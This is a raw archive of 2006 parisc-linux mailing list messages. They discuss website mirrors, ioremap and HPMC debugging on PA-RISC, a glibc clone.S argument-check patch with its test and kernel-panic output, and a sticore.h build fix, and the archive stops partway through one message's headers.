Original-Received: from localhost (admin@localhost)
	by mail.realhost.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id
	k2H94mn09604; Fri, 17 Mar 2006 10:04:48 +0100
In-Reply-To: <20060316161737.GB16771@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yQNoZJwseSEke76WZHQhaXN1IGRvb8C1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23460



On Thu, 16 Mar 2006, Grant Grundler wrote:

> On Thu, Mar 16, 2006 at 11:11:14AM +0100, admin@realhost.de wrote:
> > I have setup two mirrors for parisc-linux
> 
> Ralf,
> Is this a mirror of www.parisc-linux.org or also the ftp and cvs repositories?

  Grant,

  actually for www.parisc-linux.org only. Do you have an idea how large 
  the ftp and cvs repositories are ? I think I could arrange the ftp and 
  cvs repositories as well.

  Ralf


> 
> > add the sites to your mirror list please or give me some info if you
> > don't need the mirrors
> 
> I can add those to the website.
> 
> BTW, all of www.parisc-linux.org website is in
> cvs.parisc-linux.org "web" repository.
> 
> thanks,
> grant
> 
> > 
> > These servers are also official mirros of:
> > 
> > Apache Projekt (apache.oss-mirror.org, apache.linux-mirror.org)
> > OpenSSL        (openssl.oss-mirror.org, openssl.linux-mirror.org)
> > OpenSSH        (openssh.oss-mirror.org, openssh.linux-mirror.org)
> > GNU            ......................
> > and so on.
> > 
> > Thx
> > Ralf
> > 
> > 
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Fri, 17 Mar 2006 10:27:48 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20060317172748.GA1851@colo.lackof.org>
References: <20060307211213.3A261494013@palinux.hppa> <200603072227.38097.deller@gmx.de> <20060308073743.GA31959@colo.lackof.org> <200603121426.16996.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624019 18532 80.91.229.3 (22 Nov 2014 02:40:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2006 17:17:01 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx047) with SMTP; 17 Mar 2006 18:17:01 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 54AC736001F;
	Fri, 17 Mar 2006 10:27:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05204-09; Fri, 17 Mar 2006 10:27:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0403936001D; Fri, 17 Mar 2006 10:27:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200603121426.16996.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WopoZJJ8eSEkXb6WZHQhaXN1IGRvbwBL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23461

On Sun, Mar 12, 2006 at 02:26:16PM +0100, Helge Deller wrote:
> Here is the important part of the bootlog:
...
> hpa start = fffffffffed00000 size=4096    <<<<<< this is the Astro BC
> IOREMAP: phys_addr=fffffffffed00000, offset = 0, size=4096
> IOREMAP: addr = 0000000000008000         <<<<< the new vm area ( fffffffffed00000(phys) will be mapped to 0x8000(virt))
> set_pte: virtual:8000 -> phys=fffffffffed00000, pte=fffffffffed00283

I'm wondering if we want all 64 bits set in the pte or if we only want
to set the lower 40 (or 44 for pa8800) bits. The Astro system map
only shows 40-bits.

The "f_extend" might not be needed for Astro chipset if the HW will
automatically alias the 32-bit address range for us. The address
map doesn't indicate 4GB-256MB is aliased. But I wonder how the
32-bit OS could otherwise work - unless PA20 CPU is silently
sign extending everything for us.

Hrm...suggests that maybe we are doing something wrong in the
asm for the 64-bit case.

> Nevertheless, when reading the quadword from (virt) 0x8000+8 it crashes
> ("A Data Miss Timeout"? - see HPMC log).

> Although I don't understand why it was 0xfffffffffed10200 and not 0xfffffffffed00008 ?

As noted before, this is a quirk in the firmware - fed10200 is the memory
controller.

> -----------------  Processor 0 HPMC Information ------------------
...
> MEM_ADDR                     = 0x000001ff3fffffff

~0UL means not valid.

> RUN_ADDR                     = 0xc1bff0fffed08040

This was the last Runway address seen on the bus.
Ditto for RUN_DATA_HIGH/LOW.

Unfortunately, fffed08040 is the address of RUN_ADDR register.
It suggests the memory controller never saw an error
and continued recording until HPMC code reads RUN_ADDR.

hth,
grant



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] confirme: bug in arg checking in clone.S
Date: Fri, 17 Mar 2006 10:08:54 +0100
Lines: 129
Approved: news@gmane.org
Message-ID: <IW9LEU$94CB4BA291005A077804FC6FE19E35E4@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624019 18541 80.91.229.3 (22 Nov 2014 02:40:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:19 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2006 09:09:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 17 Mar 2006 10:09:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E01E57D6E2;
	Fri, 17 Mar 2006 02:09:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02733-09; Fri, 17 Mar 2006 02:09:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD4707D6E3;
	Fri, 17 Mar 2006 02:09:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E2837D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 02:09:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02733-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 02:09:01 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id EA4557D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 02:09:00 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k2H98rE12589; 
	Fri, 17 Mar 2006 10:08:53 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4RloZGtzeSEkZr6WZHQhaXN1IGRvb0B5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23462

> Hello Mike and list,
> 
> Mike Frysinger wrote:
> > for some reason the attached test case (originally from LTP) segfault=
s on 
> > glibc/hppa systems ... every other arch ive tested on works fine ...
> > 
> Ok I find this LTP Stuff.
> # ./clone04
> clone04     1  BROK  :  Unexpected signal 11 received.
> 
> 
> Effectively, as the comment said:
>   * DESCRIPTION
>   *      Verify that,
>   *      clone(2) returns -1 and sets errno to EINVAL if
>   *      child stack is set to a zero value(NULL)
> 
> Also as your subject better explain, the hppa implementation didn't do =
a
"Sanity check arguments" (as other arch does).
> 
> Can somebody could check this patch proposal:
> --- ./sysdeps/unix/sysv/linux/hppa/clone.S.Orig 2006-01-14
17:48:33.000000000 +0000
> +++ ./sysdeps/unix/sysv/linux/hppa/clone.S      2006-03-04
19:46:03.000000000 +0000
> @@ -46,6 +46,11 @@
>           .text
>   ENTRY(__clone)
> 
> +       /* Sanity check arguments.  */
> +       ldi     -EINVAL, %ret0
> +       comib,=3D,n       0,%r26,.Lerror  /* no NULL function pointers =
*/
> +       comib,=3D,n       0,%r25,.Lerror  /* no NULL stack pointers */
> +
>          /* Save the fn ptr and arg on the new stack.  */
>          stwm    %r26,64(%r25)
>          stw     %r23,-60(%r25)
> =3D=3D=3D=3D<>=3D=3D=3D=3D
> 
> (Not sure I didn't miss some nop in delay slot on comib?)
> 
Definitely we had to restore hunk:
RCS file: /var/lib/cvs/glibc/sysdeps/unix/sysv/linux/hppa/clone.S,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -r1.2 -r1.3
--- glibc/sysdeps/unix/sysv/linux/hppa/clone.S	2005/06/08 20:32:42	1.2
+++ glibc/sysdeps/unix/sysv/linux/hppa/clone.S	2005/08/02 17:02:02	1.3
[...]
-	/* FIXME: I have no idea how profiling works on hppa. */
-
-	/* Sanity check arguments.  */
-	comib,=3D  0,%arg0,.Lerror        /* no NULL function pointers */
-	ldi     -EINVAL,%ret0
-	comib,=3D  0,%arg1,.Lerror        /* no NULL stack pointers */
-	nop
[...]

but we also have to goto one step after:
'/* Restore the PIC register on error */'

that way I bit progress:
# ./clone04
clone04     1  PASS  :  expected failure; Got EINVAL

Cool isn't it?

Unfortunately, I still have a draw back: the system panics immediately on=

kernel bug:
clone04(1905): unaligned access to 0xfffffffa at ip=3D0x00011027         =
      
                                      
clone04(1905): unaligned access to 0xfffffffa at ip=3D0x0001105f         =
      
                                                      
clone04(1905): unaligned access to 0xfffffffa at ip=3D0x00011177         =
      
                                                      
clone04(1905): unaligned access to 0xfffffffa at ip=3D0x0001117f         =
      
                                                      
Unaligned handler failed, ret =3D -2                                     =
      
                                                      
clone04 (pid 1905): Unaligned data reference (code 28) at 0001119b       =
    
                                                      
kernel BUG at /CAD/linux-2.6.16-rc6-paem2/mm/mmap.c:1957!                =
    
                                                      
Backtrace:                                                               =
    
                                                      
 [<10158944>] exit_mmap+0x178/0x198                                      =
    
                                                      
 [<101235a4>] mmput+0x44/0xb8                                            =
    
                                                      
 [<10128308>] do_exit+0x12c/0x8a0                                        =
    
                                                      
 [<10128ae0>] do_group_exit+0x64/0xc4                                    =
    
                                                      
 [<1010b114>] syscall_exit+0x0/0x14                                      =
    
                                                      
                                                                         =
    
                                                      
Kernel panic - not syncing: BUG!

Hth,
    Joel
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Mon, 20 Mar 2006 12:19:58 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <IWFBHA$6574DD99581BECB275DA2287BF1C9843@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624020 18543 80.91.229.3 (22 Nov 2014 02:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:20 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2006 11:20:03 -0000
Original-Received: from oola.is.scarlet.be (EHLO oola.is.scarlet.be) [193.74.71.23]
  by mx0.gmx.net (mx028) with SMTP; 20 Mar 2006 12:20:03 +0100
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id k2KBK2x20953; 
	Mon, 20 Mar 2006 12:20:02 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i/p3d7J+eWU3uq2TZm9ncG8rL0tsZs2G
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23463

Hello Helge,

> 
> Just a short report build failure of my custom kernel for my d380 (32bi=
t up):
>    ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
> arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in=
.o 
> arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
> arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
> kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o 
> security/built-in.o  crypto/built-in.o  block/built-in.o  lib/lib.a 
> arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
> arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built=
-in.o 
> sound/built-in.o  net/built-in.o --end-group 
> drivers/built-in.o: In function `sti_rom_copy': undefined reference to
`gsc_readl'
> drivers/built-in.o: In function `sti_rom_copy': undefined reference to
`gsc_readl'
> drivers/built-in.o: In function `sti_rom_copy': undefined reference to
`gsc_readb'
> drivers/built-in.o: In function `sti_bmode_rom_copy': undefined referen=
ce to
> `gsc_readl'
> drivers/built-in.o: In function `sti_get_wmode_rom': undefined referenc=
e to
> `gsc_readl'
> drivers/built-in.o: In function `sti_try_rom_generic': undefined refere=
nce to
> `gsc_readl'
> drivers/built-in.o: In function `sti_try_rom_generic': undefined refere=
nce to
> `gsc_readl'
> drivers/built-in.o: In function `sti_try_rom_generic': undefined refere=
nce to
> `gsc_readl'
> drivers/built-in.o: more undefined references to `gsc_readl' follow
> drivers/built-in.o: In function `sti_try_rom_generic': undefined refere=
nce to
> `ioremap'
> drivers/built-in.o: In function `sti_try_rom_generic': undefined refere=
nce to
> `ioremap_nocache'
> make[1]: *** [.tmp_vmlinux1] Error 1
> make: *** [vmlinux] Error 2
> 
it seems that this reverting hunk:
--- drivers/video/sticore.h.Orig        2006-03-20 11:50:46.000000000 +01=
00
+++ drivers/video/sticore.h     2006-03-20 11:51:47.000000000 +0100
@@ -36,7 +36,7 @@
  
 #define STI_WAIT 1
 
-#include <linux/config.h> /* for CONFIG_HPPA_IOREMAP */
+#include <asm/io.h> /* for CONFIG_HPPA_IOREMAP */
 
 #ifdef CONFIG_HPPA_IOREMAP
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

help (at least to rebuild this kernel).

If you agre, could you check in (I don't have cvs access)?

TIA,
    Joel=0A=0A-----------------------------------------------------------=
----=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0A=
More info on http://www.scarlet.be/



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Mon, 20 Mar 2006 19:47:07 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <200603201947.08045.deller@gmx.de>
References: <IWFBHA$6574DD99581BECB275DA2287BF1C9843@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624020 18546 80.91.229.3 (22 Nov 2014 02:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:20 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2006 18:47:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 20 Mar 2006 19:47:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A9167D6CF;
	Mon, 20 Mar 2006 11:47:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04094-08; Mon, 20 Mar 2006 11:47:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CC037D6A4;
	Mon, 20 Mar 2006 11:47:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38E567D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Mar 2006 11:47:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03952-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Mar 2006 11:47:11 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 29AE77D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Mar 2006 11:47:11 -0700 (MST)
Original-Received: (qmail invoked by alias); 20 Mar 2006 18:47:09 -0000
Original-Received: from p54AD04A4.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.164]
	by mail.gmx.net (mp010) with SMTP; 20 Mar 2006 19:47:09 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <IWFBHA$6574DD99581BECB275DA2287BF1C9843@scarlet.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gs8rcB8YTiEtoqyUaGRwenF1ZUVSRNdi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23464

Hi Joel,

did you tried a "make distclean", and "make oldconfig" ?
And, are all your files up-to-date (cvs -z3 -q up) ?
I'm wondering, since this header file does not do any IO...

Helge

On Monday 20 March 2006 12:19, Joel Soete wrote:
> Hello Helge,
> 
> > 
> > Just a short report build failure of my custom kernel for my d380 (32bit up):
> >    ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
> > arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in.o 
> > arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
> > arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
> > kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o 
> > security/built-in.o  crypto/built-in.o  block/built-in.o  lib/lib.a 
> > arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
> > arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built-in.o 
> > sound/built-in.o  net/built-in.o --end-group 
> > drivers/built-in.o: In function `sti_rom_copy': undefined reference to
> `gsc_readl'
> > drivers/built-in.o: In function `sti_rom_copy': undefined reference to
> `gsc_readl'
> > drivers/built-in.o: In function `sti_rom_copy': undefined reference to
> `gsc_readb'
> > drivers/built-in.o: In function `sti_bmode_rom_copy': undefined reference to
> > `gsc_readl'
> > drivers/built-in.o: In function `sti_get_wmode_rom': undefined reference to
> > `gsc_readl'
> > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > `gsc_readl'
> > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > `gsc_readl'
> > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > `gsc_readl'
> > drivers/built-in.o: more undefined references to `gsc_readl' follow
> > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > `ioremap'
> > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > `ioremap_nocache'
> > make[1]: *** [.tmp_vmlinux1] Error 1
> > make: *** [vmlinux] Error 2
> > 
> it seems that this reverting hunk:
> --- drivers/video/sticore.h.Orig        2006-03-20 11:50:46.000000000 +0100
> +++ drivers/video/sticore.h     2006-03-20 11:51:47.000000000 +0100
> @@ -36,7 +36,7 @@
>   
>  #define STI_WAIT 1
>  
> -#include <linux/config.h> /* for CONFIG_HPPA_IOREMAP */
> +#include <asm/io.h> /* for CONFIG_HPPA_IOREMAP */
>  
>  #ifdef CONFIG_HPPA_IOREMAP
>  
> ====<>====
> 
> help (at least to rebuild this kernel).
> 
> If you agre, could you check in (I don't have cvs access)?
> 
> TIA,
>     Joel
> 
> ---------------------------------------------------------------
> A free anti-spam and anti-virus filter on all Scarlet mailboxes
> More info on http://www.scarlet.be/
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Mon, 20 Mar 2006 20:42:40 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <200603202042.40760.deller@gmx.de>
References: <IWFBHA$6574DD99581BECB275DA2287BF1C9843@scarlet.be>
	<200603201947.08045.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624020 18548 80.91.229.3 (22 Nov 2014 02:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2006 19:42:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 20 Mar 2006 20:42:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B7747D700;
	Mon, 20 Mar 2006 12:42:51 -0700 (MST)
